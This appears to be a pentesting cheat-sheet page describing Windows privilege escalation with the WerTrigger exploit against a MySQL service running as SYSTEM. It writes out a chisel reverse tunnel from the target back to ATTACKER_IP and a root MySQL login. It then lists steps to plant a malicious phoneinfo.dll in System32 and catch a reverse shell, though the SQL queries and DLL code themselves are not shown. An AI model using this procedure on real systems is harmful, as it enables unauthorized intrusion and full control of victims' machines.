githubEdit

WerTrigger Exploit Privileged MySQL Service File Overwrite

Requirements

The MySQL service runs as root

Steps

1) Check information about the MySQL service to verify that it runs as SYSTEM

sc.exe qc MySQL

2) If MySQL runs internally, run a port forward

Attacker

chisel server --reverse --port LISTEN_PORT

Target

.\chisel.exe client ATTACKER_IP LISTEN_PORT R:3306:127.0.0.1:3306

Access the service at

http://127.0.0.1/phpmyadmin

OR CLI

mysql -u root -h 127.0.0.1 

3) Clone the WerTrigger exploit project

4) Generate a malicious phoneinfo.dll

5) Upload phoneinfo.dll, WerTrigger.exe and Report.wer on target machine

6) Connect to the MySQL server either via CLI or browser, and execute the following SQL queries to overwrite them to the System32 directory

7) Set up listener

8) Navigate to the System32 directory and execute WerTrigger.exe to catch the reverse shell

Last updated